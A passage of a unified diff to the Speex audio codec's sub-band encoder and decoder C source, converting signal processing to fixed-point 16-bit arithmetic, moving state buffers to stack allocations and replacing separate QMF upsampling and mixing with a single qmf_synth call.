    mode = (const SpeexSBMode*)(st->mode->mode);
-
+   low = in;
+   high = in+st->frame_size;
+   
+   /* High-band buffering / sync with low band */
+   /* Compute the two sub-bands by filtering with QMF h0*/
+   qmf_decomp(in, h0, low, high, st->full_frame_size, QMF_ORDER, st->h0_mem, stack);
+   
+#ifndef DISABLE_VBR
+   if (st->vbr_enabled || st->vad_enabled)
    {
-      VARDECL(spx_word16_t *low);
-      ALLOC(low, st->frame_size, spx_word16_t);
-
-      /* Compute the two sub-bands by filtering with h0 and h1*/
-      qmf_decomp(in, h0, st->x0d, st->x1d, st->full_frame_size, QMF_ORDER, st->h0_mem, stack);
-      
-      for (i=0;i<st->frame_size;i++)
-         low[i] = SATURATE(PSHR(st->x0d[i],SIG_SHIFT),32767);
-      
-      /* Encode the narrowband part*/
-      speex_encode_native(st->st_low, low, bits);
-
-      for (i=0;i<st->frame_size;i++)
-         st->x0d[i] = SHL(low[i],SIG_SHIFT);
+      /* Need to compute things here before the signal is trashed by the encoder */
+      /*FIXME: Are the two signals (low, high) in sync? */
+      e_low = compute_rms16(low, st->frame_size);
+      e_high = compute_rms16(high, st->frame_size);
    }
-   /* High-band buffering / sync with low band */
-   for (i=0;i<st->windowSize-st->frame_size;i++)
-      st->high[i] = st->high[st->frame_size+i];
-   for (i=0;i<st->frame_size;i++)
-      st->high[st->windowSize-st->frame_size+i]=SATURATE(st->x1d[i],536854528);
+#endif /* #ifndef DISABLE_VBR */
 
-   speex_move(st->excBuf, st->excBuf+st->frame_size, (st->bufSize-st->frame_size)*sizeof(spx_sig_t));
+   ALLOC(low_innov_rms, st->nbSubframes, spx_word16_t);
+   speex_encoder_ctl(st->st_low, SPEEX_SET_INNOVATION_SAVE, low_innov_rms);
+   /* Encode the narrowband part*/
+   speex_encode_native(st->st_low, low, bits);
 
+   high = high - (st->windowSize-st->frame_size);
+   SPEEX_COPY(high, st->high, st->windowSize-st->frame_size);
+   SPEEX_COPY(st->high, &high[st->frame_size], st->windowSize-st->frame_size);
+   
 
    ALLOC(low_pi_gain, st->nbSubframes, spx_word32_t);
-   ALLOC(low_exc, st->frame_size, spx_word16_t);
+   ALLOC(low_exc_rms, st->nbSubframes, spx_word16_t);
    speex_encoder_ctl(st->st_low, SPEEX_GET_PI_GAIN, low_pi_gain);
-   speex_encoder_ctl(st->st_low, SPEEX_GET_EXC, low_exc);
+   speex_encoder_ctl(st->st_low, SPEEX_GET_EXC, low_exc_rms);
    
    speex_encoder_ctl(st->st_low, SPEEX_GET_LOW_MODE, &dtx);
 
@@ -431,43 +370,61 @@
    else
       dtx=0;
 
+   ALLOC(lpc, st->lpcSize, spx_coef_t);
+   ALLOC(interp_lpc, st->lpcSize, spx_coef_t);
+   ALLOC(bw_lpc1, st->lpcSize, spx_coef_t);
+   ALLOC(bw_lpc2, st->lpcSize, spx_coef_t);
+   
+   ALLOC(lsp, st->lpcSize, spx_lsp_t);
+   ALLOC(qlsp, st->lpcSize, spx_lsp_t);
+   ALLOC(interp_lsp, st->lpcSize, spx_lsp_t);
+   ALLOC(interp_qlsp, st->lpcSize, spx_lsp_t);
+   
    {
+      VARDECL(spx_word16_t *autocorr);
       VARDECL(spx_word16_t *w_sig);
+      ALLOC(autocorr, st->lpcSize+1, spx_word16_t);
       ALLOC(w_sig, st->windowSize, spx_word16_t);
       /* Window for analysis */
-      for (i=0;i<st->windowSize;i++)
-         w_sig[i] = SHR(MULT16_16(SHR((spx_word32_t)(st->high[i]),SIG_SHIFT),st->window[i]),SIG_SHIFT);
-
+      /* FIXME: This is a kludge */
+      if (st->subframeSize==80)
+      {
+         for (i=0;i<st->windowSize;i++)
+            w_sig[i] = EXTRACT16(SHR32(MULT16_16(high[i],st->window[i>>1]),SIG_SHIFT));
+      } else {
+         for (i=0;i<st->windowSize;i++)
+            w_sig[i] = EXTRACT16(SHR32(MULT16_16(high[i],st->window[i]),SIG_SHIFT));
+      }
       /* Compute auto-correlation */
-      _spx_autocorr(w_sig, st->autocorr, st->lpcSize+1, st->windowSize);
-   }
-   st->autocorr[0] = ADD16(st->autocorr[0],MULT16_16_Q15(st->autocorr[0],st->lpc_floor)); /* Noise floor in auto-correlation domain */
+      _spx_autocorr(w_sig, autocorr, st->lpcSize+1, st->windowSize);
+      autocorr[0] = ADD16(autocorr[0],MULT16_16_Q15(autocorr[0],st->lpc_floor)); /* Noise floor in auto-correlation domain */
 
-   /* Lag windowing: equivalent to filtering in the power-spectrum domain */
-   for (i=0;i<st->lpcSize+1;i++)
-      st->autocorr[i] = MULT16_16_Q14(st->autocorr[i],st->lagWindow[i]);
+      /* Lag windowing: equivalent to filtering in the power-spectrum domain */
+      for (i=0;i<st->lpcSize+1;i++)
+         autocorr[i] = MULT16_16_Q14(autocorr[i],st->lagWindow[i]);
 
-   /* Levinson-Durbin */
-   _spx_lpc(st->lpc, st->autocorr, st->lpcSize);
+      /* Levinson-Durbin */
+      _spx_lpc(lpc, autocorr, st->lpcSize);
+   }
 
    /* LPC to LSPs (x-domain) transform */
-   roots=lpc_to_lsp (st->lpc, st->lpcSize, st->lsp, 10, LSP_DELTA1, stack);
+   roots=lpc_to_lsp (lpc, st->lpcSize, lsp, 10, LSP_DELTA1, stack);
    if (roots!=st->lpcSize)
    {
-      roots = lpc_to_lsp (st->lpc, st->lpcSize, st->lsp, 10, LSP_DELTA2, stack);
+      roots = lpc_to_lsp (lpc, st->lpcSize, lsp, 10, LSP_DELTA2, stack);
       if (roots!=st->lpcSize) {
          /*If we can't find all LSP's, do some damage control and use a flat filter*/
          for (i=0;i<st->lpcSize;i++)
          {
-            st->lsp[i]=LSP_SCALING*M_PI*((float)(i+1))/(st->lpcSize+1);
+            lsp[i]=st->old_lsp[i];
          }
       }
    }
 
+#ifndef DISABLE_VBR
    /* VBR code */
    if ((st->vbr_enabled || st->vad_enabled) && !dtx)
    {
-      float e_low=0, e_high=0;
       float ratio;
       if (st->abr_enabled)
       {
@@ -489,10 +446,7 @@
       }
 
 
-      /*FIXME: Are the two signals (low, high) in sync? */
-      e_low = compute_rms(st->x0d, st->frame_size);
-      e_high = compute_rms(st->high, st->frame_size);
-      ratio = 2*log((1+e_high)/(1+e_low));
+      ratio = 2*log((1.f+e_high)/(1.f+e_low));
       
       speex_encoder_ctl(st->st_low, SPEEX_GET_RELATIVE_QUALITY, &st->relative_quality);
       if (ratio<-4)
@@ -544,6 +498,7 @@
       }
       /*fprintf (stderr, "%f %f\n", ratio, low_qual);*/
    }
+#endif /* #ifndef DISABLE_VBR */
 
    if (st->encode_submode)
    {
@@ -558,24 +513,15 @@
    if (dtx || st->submodes[st->submodeID] == NULL)
    {
       for (i=0;i<st->frame_size;i++)
-         st->exc[i]=st->sw[i]=VERY_SMALL;
+         high[i]=VERY_SMALL;
 
       for (i=0;i<st->lpcSize;i++)
          st->mem_sw[i]=0;
       st->first=1;
 
       /* Final signal synthesis from excitation */
-      iir_mem2(st->exc, st->interp_qlpc, st->high, st->frame_size, st->lpcSize, st->mem_sp);
+      iir_mem16(high, st->interp_qlpc, high, st->frame_size, st->lpcSize, st->mem_sp, stack);
 
-#ifdef RESYNTH
-      /* Reconstruct the original */
-      fir_mem_up(st->x0d, h0, st->y0, st->full_frame_size, QMF_ORDER, st->g0_mem, stack);
-      fir_mem_up(st->high, h1, st->y1, st->full_frame_size, QMF_ORDER, st->g1_mem, stack);
-
-      for (i=0;i<st->full_frame_size;i++)
-         in[i]=SHR(st->y0[i]-st->y1[i], SIG_SHIFT-1);
-#endif
-
       if (dtx)
          return 0;
       else
@@ -584,14 +530,14 @@
 
 
    /* LSP quantization */
-   SUBMODE(lsp_quant)(st->lsp, st->qlsp, st->lpcSize, bits);   
+   SUBMODE(lsp_quant)(lsp, qlsp, st->lpcSize, bits);   
 
    if (st->first)
    {
       for (i=0;i<st->lpcSize;i++)
-         st->old_lsp[i] = st->lsp[i];
+         st->old_lsp[i] = lsp[i];
       for (i=0;i<st->lpcSize;i++)
-         st->old_qlsp[i] = st->qlsp[i];
+         st->old_qlsp[i] = qlsp[i];
    }
    
    ALLOC(mem, st->lpcSize, spx_mem_t);
@@ -601,37 +547,33 @@
 
    for (sub=0;sub<st->nbSubframes;sub++)
    {
-      spx_sig_t *exc, *sp, *res, *sw, *innov_save=NULL;
-      spx_word16_t filter_ratio;
+      VARDECL(spx_word16_t *exc);
+      VARDECL(spx_word16_t *res);
+      VARDECL(spx_word16_t *sw);
+      spx_word16_t *sp;
+      spx_word16_t filter_ratio;     /*Q7*/
       int offset;
-      spx_word32_t rl, rh;
+      spx_word32_t rl, rh;           /*Q13*/
       spx_word16_t eh=0;
 
       offset = st->subframeSize*sub;
-      sp=st->high+offset;
-      exc=st->exc+offset;
-      res=st->res+offset;
-      sw=st->sw+offset;
-      /* Pointer for saving innovation */
-      if (st->innov_save)
-      {
-         innov_save = st->innov_save+2*offset;
-         for (i=0;i<2*st->subframeSize;i++)
-            innov_save[i]=0;
-      }
+      sp=high+offset;
+      ALLOC(exc, st->subframeSize, spx_word16_t);
+      ALLOC(res, st->subframeSize, spx_word16_t);
+      ALLOC(sw, st->subframeSize, spx_word16_t);
       
       /* LSP interpolation (quantized and unquantized) */
-      lsp_interpolate(st->old_lsp, st->lsp, st->interp_lsp, st->lpcSize, sub, st->nbSubframes);
-      lsp_interpolate(st->old_qlsp, st->qlsp, st->interp_qlsp, st->lpcSize, sub, st->nbSubframes);
+      lsp_interpolate(st->old_lsp, lsp, interp_lsp, st->lpcSize, sub, st->nbSubframes);
+      lsp_interpolate(st->old_qlsp, qlsp, interp_qlsp, st->lpcSize, sub, st->nbSubframes);
 
-      lsp_enforce_margin(st->interp_lsp, st->lpcSize, LSP_MARGIN);
-      lsp_enforce_margin(st->interp_qlsp, st->lpcSize, LSP_MARGIN);
+      lsp_enforce_margin(interp_lsp, st->lpcSize, LSP_MARGIN);
+      lsp_enforce_margin(interp_qlsp, st->lpcSize, LSP_MARGIN);
 
-      lsp_to_lpc(st->interp_lsp, st->interp_lpc, st->lpcSize,stack);
-      lsp_to_lpc(st->interp_qlsp, st->interp_qlpc, st->lpcSize, stack);
+      lsp_to_lpc(interp_lsp, interp_lpc, st->lpcSize,stack);
+      lsp_to_lpc(interp_qlsp, st->interp_qlpc, st->lpcSize, stack);
 
-      bw_lpc(st->gamma1, st->interp_lpc, st->bw_lpc1, st->lpcSize);
-      bw_lpc(st->gamma2, st->interp_lpc, st->bw_lpc2, st->lpcSize);
+      bw_lpc(st->gamma1, interp_lpc, bw_lpc1, st->lpcSize);
+      bw_lpc(st->gamma2, interp_lpc, bw_lpc2, st->lpcSize);
 
       /* Compute mid-band (4000 Hz for wideband) response of low-band and high-band
          filters */
@@ -645,24 +587,24 @@
       
       rl = low_pi_gain[sub];
 #ifdef FIXED_POINT
-      filter_ratio=PDIV32_16(SHL(rl+82,2),SHR(82+rh,5));
+      filter_ratio=EXTRACT16(SATURATE(PDIV32(SHL32(ADD32(rl,82),7),ADD32(82,rh)),32767));
 #else
       filter_ratio=(rl+.01)/(rh+.01);
 #endif
       
       /* Compute "real excitation" */
-      fir_mem2(sp, st->interp_qlpc, exc, st->subframeSize, st->lpcSize, st->mem_sp2);
+      fir_mem16(sp, st->interp_qlpc, exc, st->subframeSize, st->lpcSize, st->mem_sp2, stack);
       /* Compute energy of low-band and high-band excitation */
 
-      eh = compute_rms(exc, st->subframeSize);
+      eh = compute_rms16(exc, st->subframeSize);
 
       if (!SUBMODE(innovation_quant)) {/* 1 for spectral folding excitation, 0 for stochastic */
-         float g;
-         spx_word16_t el;
-         el = compute_rms(st->low_innov+offset, st->subframeSize);
+         spx_word32_t g;   /*Q7*/
+         spx_word16_t el;  /*Q0*/
+         el = low_innov_rms[sub];
 
          /* Gain to use if we want to use the low-band excitation for high-band */
-         g=eh/(1.+el);
+         g=PDIV32(MULT16_16(filter_ratio,eh),EXTEND32(ADD16(1,el)));
          
 #if 0
          {
@@ -680,15 +622,10 @@
          }
 #endif
 
-#ifdef FIXED_POINT
-         g *= filter_ratio/128.;
-#else
-         g *= filter_ratio;
-#endif
          /*print_vec(&g, 1, "gain factor");*/
          /* Gain quantization */
          {
-            int quant = (int) floor(.5 + 10 + 8.0 * log((g+.0001)));
+            int quant = scal_quant(g, fold_quant_bound, 32);
             /*speex_warning_int("tata", quant);*/
             if (quant<0)
                quant=0;
@@ -696,135 +633,115 @@
                quant=31;
             speex_bits_pack(bits, quant, 5);
          }
-
+         if (st->innov_rms_save)
+         {
+            st->innov_rms_save[sub] = eh;
+         }
+         st->exc_rms[sub] = eh;
       } else {
-         spx_word16_t gc;
-         spx_word32_t scale;
-         spx_word16_t el;
-         el = compute_rms16(low_exc+offset, st->subframeSize);
+         spx_word16_t gc;       /*Q7*/
+         spx_word32_t scale;    /*Q14*/
+         spx_word16_t el;       /*Q0*/
+         el = low_exc_rms[sub]; /*Q0*/
 
          gc = PDIV32_16(MULT16_16(filter_ratio,1+eh),1+el);
 
          /* This is a kludge that cleans up a historical bug */
          if (st->subframeSize==80)
-            gc *= 0.70711;
+            gc = MULT16_16_P15(QCONST16(0.70711f,15),gc);
          /*printf ("%f %f %f %f\n", el, eh, filter_ratio, gc);*/
-#ifdef FIXED_POINT
          {
             int qgc = scal_quant(gc, gc_quant_bound, 16);
             speex_bits_pack(bits, qgc, 4);
-            gc = MULT16_32_Q15(28626,gc_quant_bound[qgc]);
+            gc = MULT16_16_Q15(QCONST16(0.87360,15),gc_quant_bound[qgc]);
          }
-#else
-         {
-            int qgc = (int)floor(.5+3.7*(log(gc)+0.15556));
-            if (qgc<0)
-               qgc=0;
-            if (qgc>15)
-               qgc=15;
-            speex_bits_pack(bits, qgc, 4);
-            gc = exp((1/3.7)*qgc-0.15556);
-         }         
-#endif
          if (st->subframeSize==80)
-            gc *= 1.4142;
+            gc = MULT16_16_P14(QCONST16(1.4142f,14), gc);
 
          scale = SHL32(MULT16_16(PDIV32_16(SHL32(EXTEND32(gc),SIG_SHIFT-6),filter_ratio),(1+el)),6);
 
-         compute_impulse_response(st->interp_qlpc, st->bw_lpc1, st->bw_lpc2, syn_resp, st->subframeSize, st->lpcSize, stack);
+         compute_impulse_response(st->interp_qlpc, bw_lpc1, bw_lpc2, syn_resp, st->subframeSize, st->lpcSize, stack);
 
          
          /* Reset excitation */
          for (i=0;i<st->subframeSize;i++)
-            exc[i]=VERY_SMALL;
+            res[i]=VERY_SMALL;
          
          /* Compute zero response (ringing) of A(z/g1) / ( A(z/g2) * Aq(z) ) */
          for (i=0;i<st->lpcSize;i++)
             mem[i]=st->mem_sp[i];
-         iir_mem2(exc, st->interp_qlpc, exc, st->subframeSize, st->lpcSize, mem);
+         iir_mem16(res, st->interp_qlpc, res, st->subframeSize, st->lpcSize, mem, stack);
 
          for (i=0;i<st->lpcSize;i++)
             mem[i]=st->mem_sw[i];
-         filter_mem2(exc, st->bw_lpc1, st->bw_lpc2, res, st->subframeSize, st->lpcSize, mem);
+         filter_mem16(res, bw_lpc1, bw_lpc2, res, st->subframeSize, st->lpcSize, mem, stack);
 
          /* Compute weighted signal */
          for (i=0;i<st->lpcSize;i++)
             mem[i]=st->mem_sw[i];
-         filter_mem2(sp, st->bw_lpc1, st->bw_lpc2, sw, st->subframeSize, st->lpcSize, mem);
+         filter_mem16(sp, bw_lpc1, bw_lpc2, sw, st->subframeSize, st->lpcSize, mem, stack);
 
          /* Compute target signal */
          for (i=0;i<st->subframeSize;i++)
-            target[i]=PSHR32(sw[i]-res[i],SIG_SHIFT);
+            target[i]=SUB16(sw[i],res[i]);
 
-         for (i=0;i<st->subframeSize;i++)
-           exc[i]=0;
-
          signal_div(target, target, scale, st->subframeSize);
 
          /* Reset excitation */
-         for (i=0;i<st->subframeSize;i++)
-            innov[i]=0;
+         SPEEX_MEMSET(innov, 0, st->subframeSize);
 
          /*print_vec(target, st->subframeSize, "\ntarget");*/
-         SUBMODE(innovation_quant)(target, st->interp_qlpc, st->bw_lpc1, st->bw_lpc2, 
+         SUBMODE(innovation_quant)(target, st->interp_qlpc, bw_lpc1, bw_lpc2, 
                                    SUBMODE(innovation_params), st->lpcSize, st->subframeSize, 
                                    innov, syn_resp, bits, stack, st->complexity, SUBMODE(double_codebook));
          /*print_vec(target, st->subframeSize, "after");*/
 
          signal_mul(innov, innov, scale, st->subframeSize);
 
-         for (i=0;i<st->subframeSize;i++)
-            exc[i] = ADD32(exc[i], innov[i]);
-
-         if (st->innov_save)
-         {
-            for (i=0;i<st->subframeSize;i++)
-               innov_save[2*i]=innov[i];
-         }
-         
          if (SUBMODE(double_codebook)) {
             char *tmp_stack=stack;
             VARDECL(spx_sig_t *innov2);
             ALLOC(innov2, st->subframeSize, spx_sig_t);
+            SPEEX_MEMSET(innov2, 0, st->subframeSize);
             for (i=0;i<st->subframeSize;i++)
-               innov2[i]=0;
-            for (i=0;i<st->subframeSize;i++)
-               target[i]*=2.5;
-            SUBMODE(innovation_quant)(target, st->interp_qlpc, st->bw_lpc1, st->bw_lpc2, 
+               target[i]=MULT16_16_P13(QCONST16(2.5f,13), target[i]);
+
+            SUBMODE(innovation_quant)(target, st->interp_qlpc, bw_lpc1, bw_lpc2, 
                                       SUBMODE(innovation_params), st->lpcSize, st->subframeSize, 
                                       innov2, syn_resp, bits, stack, st->complexity, 0);
+            signal_mul(innov2, innov2, MULT16_32_P15(QCONST16(0.4f,15),scale), st->subframeSize);
+
             for (i=0;i<st->subframeSize;i++)
-               innov2[i]*=scale*(1/2.5)/SIG_SCALING;
-            for (i=0;i<st->subframeSize;i++)
-               exc[i] = ADD32(exc[i],innov2[i]);
+               innov[i] = ADD32(innov[i],innov2[i]);
             stack = tmp_stack;
          }
+         for (i=0;i<st->subframeSize;i++)
+            exc[i] = PSHR32(innov[i],SIG_SHIFT);
 
+         if (st->innov_rms_save)
+         {
+            st->innov_rms_save[sub] = MULT16_16_Q15(QCONST16(.70711f, 15), compute_rms(innov, st->subframeSize));
+         }
+         st->exc_rms[sub] = compute_rms16(exc, st->subframeSize);
+         
+
       }
 
+      
       /*Keep the previous memory*/
       for (i=0;i<st->lpcSize;i++)
          mem[i]=st->mem_sp[i];
       /* Final signal synthesis from excitation */
-      iir_mem2(exc, st->interp_qlpc, sp, st->subframeSize, st->lpcSize, st->mem_sp);
+      iir_mem16(exc, st->interp_qlpc, sp, st->subframeSize, st->lpcSize, st->mem_sp, stack);
       
       /* Compute weighted signal again, from synthesized speech (not sure it's the right thing) */
-      filter_mem2(sp, st->bw_lpc1, st->bw_lpc2, sw, st->subframeSize, st->lpcSize, st->mem_sw);
+      filter_mem16(sp, bw_lpc1, bw_lpc2, sw, st->subframeSize, st->lpcSize, st->mem_sw, stack);
    }
 
-
-#ifdef RESYNTH
-   /* Reconstruct the original */
-   fir_mem_up(st->x0d, h0, st->y0, st->full_frame_size, QMF_ORDER, st->g0_mem, stack);
-   fir_mem_up(st->high, h1, st->y1, st->full_frame_size, QMF_ORDER, st->g1_mem, stack);
-
-   for (i=0;i<st->full_frame_size;i++)
-      in[i]=SHR(st->y0[i]-st->y1[i], SIG_SHIFT-1);
-#endif
    for (i=0;i<st->lpcSize;i++)
-      st->old_lsp[i] = st->lsp[i];
+      st->old_lsp[i] = lsp[i];
    for (i=0;i<st->lpcSize;i++)
-      st->old_qlsp[i] = st->qlsp[i];
+      st->old_qlsp[i] = qlsp[i];
 
    st->first=0;
 
@@ -843,20 +760,18 @@
    st = (SBDecState*)speex_alloc(sizeof(SBDecState));
    if (!st)
       return NULL;
-#if defined(VAR_ARRAYS) || defined (USE_ALLOCA)
-   st->stack = NULL;
-#else
-   st->stack = (char*)speex_alloc_scratch(SB_DEC_STACK);
-#endif
    st->mode = m;
    mode=(const SpeexSBMode*)m->mode;
-
    st->encode_submode = 1;
 
-
-
-
    st->st_low = speex_decoder_init(mode->nb_mode);
+#if defined(VAR_ARRAYS) || defined (USE_ALLOCA)
+   st->stack = NULL;
+#else
+   /*st->stack = (char*)speex_alloc_scratch(SB_DEC_STACK);*/
+   speex_decoder_ctl(st->st_low, SPEEX_GET_STACK, &st->stack);
+#endif
+
    st->full_frame_size = 2*mode->frameSize;
    st->frame_size = mode->frameSize;
    st->subframeSize = mode->subframeSize;
@@ -872,29 +787,18 @@
 
    st->first=1;
 
+   st->g0_mem = (spx_word16_t*)speex_alloc((QMF_ORDER)*sizeof(spx_word16_t));
+   st->g1_mem = (spx_word16_t*)speex_alloc((QMF_ORDER)*sizeof(spx_word16_t));
 
-   st->x0d = (spx_sig_t*)speex_alloc((st->frame_size)*sizeof(spx_sig_t));
-   st->x1d = (spx_sig_t*)speex_alloc((st->frame_size)*sizeof(spx_sig_t));
-   st->high = (spx_sig_t*)speex_alloc((st->full_frame_size)*sizeof(spx_sig_t));
-   st->y0 = (spx_sig_t*)speex_alloc((st->full_frame_size)*sizeof(spx_sig_t));
-   st->y1 = (spx_sig_t*)speex_alloc((st->full_frame_size)*sizeof(spx_sig_t));
+   st->excBuf = (spx_word16_t*)speex_alloc((st->subframeSize)*sizeof(spx_word16_t));
 
-   st->g0_mem = (spx_word32_t*)speex_alloc((QMF_ORDER)*sizeof(spx_word32_t));
-   st->g1_mem = (spx_word32_t*)speex_alloc((QMF_ORDER)*sizeof(spx_word32_t));
-
-   st->exc = (spx_sig_t*)speex_alloc((st->frame_size)*sizeof(spx_sig_t));
-   st->excBuf = (spx_sig_t*)speex_alloc((st->subframeSize)*sizeof(spx_sig_t));
-
-   st->qlsp = (spx_lsp_t*)speex_alloc((st->lpcSize)*sizeof(spx_lsp_t));
    st->old_qlsp = (spx_lsp_t*)speex_alloc((st->lpcSize)*sizeof(spx_lsp_t));
-   st->interp_qlsp = (spx_lsp_t*)speex_alloc(st->lpcSize*sizeof(spx_lsp_t));
    st->interp_qlpc = (spx_coef_t*)speex_alloc(st->lpcSize*sizeof(spx_coef_t));
 
    st->pi_gain = (spx_word32_t*)speex_alloc((st->nbSubframes)*sizeof(spx_word32_t));
+   st->exc_rms = (spx_word16_t*)speex_alloc((st->nbSubframes)*sizeof(spx_word16_t));
    st->mem_sp = (spx_mem_t*)speex_alloc((2*st->lpcSize)*sizeof(spx_mem_t));
    
-   st->low_innov = (spx_word32_t*)speex_alloc((st->frame_size)*sizeof(spx_word32_t));
-   speex_decoder_ctl(st->st_low, SPEEX_SET_INNOVATION_SAVE, st->low_innov);
    st->innov_save = NULL;
 
 
@@ -913,24 +817,16 @@
    st = (SBDecState*)state;
    speex_decoder_destroy(st->st_low);
 #if !(defined(VAR_ARRAYS) || defined (USE_ALLOCA))
-   speex_free_scratch(st->stack);
+   /*speex_free_scratch(st->stack);*/
 #endif
 
-   speex_free(st->x0d);
-   speex_free(st->x1d);
-   speex_free(st->high);
-   speex_free(st->y0);
-   speex_free(st->y1);
    speex_free(st->g0_mem);
    speex_free(st->g1_mem);
-   speex_free(st->exc);
    speex_free(st->excBuf);
-   speex_free(st->qlsp);
    speex_free(st->old_qlsp);
-   speex_free(st->interp_qlsp);
    speex_free(st->interp_qlpc);
    speex_free(st->pi_gain);
-   speex_free(st->low_innov);
+   speex_free(st->exc_rms);
    speex_free(st->mem_sp);
 
    speex_free(state);
@@ -946,7 +842,7 @@
       saved_modeid=st->submodeID;
       st->submodeID=1;
    } else {
-      bw_lpc(GAMMA_SCALING*0.99, st->interp_qlpc, st->interp_qlpc, st->lpcSize);
+      bw_lpc(QCONST16(0.99f,15), st->interp_qlpc, st->interp_qlpc, st->lpcSize);
    }
 
    st->first=1;
@@ -955,25 +851,17 @@
    /* Final signal synthesis from excitation */
    if (!dtx)
    {
-      spx_word16_t low_ener;
-      low_ener = .9*compute_rms(st->exc, st->frame_size);
-      for (i=0;i<st->frame_size;i++)
-         st->exc[i] = speex_rand(low_ener, &st->seed);
+      st->last_ener =  MULT16_16_Q15(QCONST16(.9f,15),st->last_ener);
    }
-
    for (i=0;i<st->frame_size;i++)
-      st->high[i]=st->exc[i];
+      out[i+st->frame_size] = speex_rand(st->last_ener, &st->seed);
 
-   iir_mem2(st->high, st->interp_qlpc, st->high, st->frame_size, st->lpcSize, 
-            st->mem_sp);
+   iir_mem16(out+st->frame_size, st->interp_qlpc, out+st->frame_size, st->frame_size, st->lpcSize, 
+            st->mem_sp, stack);
    
    
    /* Reconstruct the original */
-   fir_mem_up(st->x0d, h0, st->y0, st->full_frame_size, QMF_ORDER, st->g0_mem, stack);
-   fir_mem_up(st->high, h1, st->y1, st->full_frame_size, QMF_ORDER, st->g1_mem, stack);
-
-   mix_and_saturate(st->y0, st->y1, out, st->full_frame_size);
-
+   qmf_synth(out, out+st->frame_size, h0, out, st->full_frame_size, QMF_ORDER, st->g0_mem, st->g1_mem, stack);
    if (dtx)
    {
       st->submodeID=saved_modeid;
@@ -990,26 +878,24 @@
    int ret;
    char *stack;
    VARDECL(spx_word32_t *low_pi_gain);
-   VARDECL(spx_word16_t *low_exc);
+   VARDECL(spx_word16_t *low_exc_rms);
    VARDECL(spx_coef_t *ak);
+   VARDECL(spx_lsp_t *qlsp);
+   VARDECL(spx_lsp_t *interp_qlsp);
    spx_int32_t dtx;
    const SpeexSBMode *mode;
    spx_word16_t *out = (spx_word16_t*)vout;
+   spx_word16_t *low_innov_alias;
+   spx_word32_t exc_ener_sum = 0;
    
    st = (SBDecState*)state;
    stack=st->stack;
    mode = (const SpeexSBMode*)(st->mode->mode);
 
-   {
-      VARDECL(spx_word16_t *low);
-      ALLOC(low, st->frame_size, spx_word16_t);
-      
-      /* Decode the low-band */
-      ret = speex_decode_native(st->st_low, bits, low);
-      
-      for (i=0;i<st->frame_size;i++)
-         st->x0d[i] = SHL((spx_sig_t)low[i], SIG_SHIFT);
-   }
+   low_innov_alias = out+st->frame_size;
+   speex_decoder_ctl(st->st_low, SPEEX_SET_INNOVATION_SAVE, low_innov_alias);
+   /* Decode the low-band */
+   ret = speex_decode_native(st->st_low, bits, out);
 
    speex_decoder_ctl(st->st_low, SPEEX_GET_DTX_STATUS, &dtx);
 
@@ -1045,7 +931,7 @@
       }
       if (st->submodeID != 0 && st->submodes[st->submodeID] == NULL)
       {
-         speex_warning("Invalid mode encountered: corrupted stream?");
+         speex_notify("Invalid mode encountered. The stream is corrupted.");
          return -2;
       }
    }
@@ -1060,66 +946,63 @@
       }
 
       for (i=0;i<st->frame_size;i++)
-         st->exc[i]=VERY_SMALL;
+         out[st->frame_size+i]=VERY_SMALL;
 
       st->first=1;
 
       /* Final signal synthesis from excitation */
-      iir_mem2(st->exc, st->interp_qlpc, st->high, st->frame_size, st->lpcSize, st->mem_sp);
+      iir_mem16(out+st->frame_size, st->interp_qlpc, out+st->frame_size, st->frame_size, st->lpcSize, st->mem_sp, stack);
 
-      fir_mem_up(st->x0d, h0, st->y0, st->full_frame_size, QMF_ORDER, st->g0_mem, stack);
-      fir_mem_up(st->high, h1, st->y1, st->full_frame_size, QMF_ORDER, st->g1_mem, stack);
+      qmf_synth(out, out+st->frame_size, h0, out, st->full_frame_size, QMF_ORDER, st->g0_mem, st->g1_mem, stack);
 
-      mix_and_saturate(st->y0, st->y1, out, st->full_frame_size);
-
       return 0;
 
    }
 
-   for (i=0;i<st->frame_size;i++)
-      st->exc[i]=0;
-
    ALLOC(low_pi_gain, st->nbSubframes, spx_word32_t);
-   ALLOC(low_exc, st->frame_size, spx_word16_t);
+   ALLOC(low_exc_rms, st->nbSubframes, spx_word16_t);
    speex_decoder_ctl(st->st_low, SPEEX_GET_PI_GAIN, low_pi_gain);
-   speex_decoder_ctl(st->st_low, SPEEX_GET_EXC, low_exc);
+   speex_decoder_ctl(st->st_low, SPEEX_GET_EXC, low_exc_rms);
 
-   SUBMODE(lsp_unquant)(st->qlsp, st->lpcSize, bits);
+   ALLOC(qlsp, st->lpcSize, spx_lsp_t);
+   ALLOC(interp_qlsp, st->lpcSize, spx_lsp_t);
+   SUBMODE(lsp_unquant)(qlsp, st->lpcSize, bits);
    
    if (st->first)
    {
       for (i=0;i<st->lpcSize;i++)
-         st->old_qlsp[i] = st->qlsp[i];
+         st->old_qlsp[i] = qlsp[i];
    }
    
    ALLOC(ak, st->lpcSize, spx_coef_t);
 
    for (sub=0;sub<st->nbSubframes;sub++)
    {
-      spx_sig_t *exc, *sp, *innov_save=NULL;
+      VARDECL(spx_word32_t *exc);
+      spx_word16_t *innov_save=NULL;
+      spx_word16_t *sp;
       spx_word16_t filter_ratio;
       spx_word16_t el=0;
       int offset;
       spx_word32_t rl=0,rh=0;
       
       offset = st->subframeSize*sub;
-      sp=st->high+offset;
-      exc=st->exc+offset;
+      sp=out+st->frame_size+offset;
+      ALLOC(exc, st->subframeSize, spx_word32_t);
       /* Pointer for saving innovation */
       if (st->innov_save)
       {
          innov_save = st->innov_save+2*offset;
-         for (i=0;i<2*st->subframeSize;i++)
-            innov_save[i]=0;
+         SPEEX_MEMSET(innov_save, 0, 2*st->subframeSize);
       }
       
       /* LSP interpolation */
-      lsp_interpolate(st->old_qlsp, st->qlsp, st->interp_qlsp, st->lpcSize, sub, st->nbSubframes);
+      lsp_interpolate(st->old_qlsp, qlsp, interp_qlsp, st->lpcSize, sub, st->nbSubframes);
 
-      lsp_enforce_margin(st->interp_qlsp, st->lpcSize, LSP_MARGIN);
+      lsp_enforce_margin(interp_qlsp, st->lpcSize, LSP_MARGIN);
 
       /* LSP to LPC */
-      lsp_to_lpc(st->interp_qlsp, ak, st->lpcSize, stack);
+      lsp_to_lpc(interp_qlsp, ak, st->lpcSize, stack);
 
       /* Calculate reponse ratio between the low and high filter in the middle
          of the band (4000 Hz) */
@@ -1128,75 +1011,46 @@
          rh = LPC_SCALING;
          for (i=0;i<st->lpcSize;i+=2)
          {
-            rh += st->interp_qlpc[i+1] - st->interp_qlpc[i];
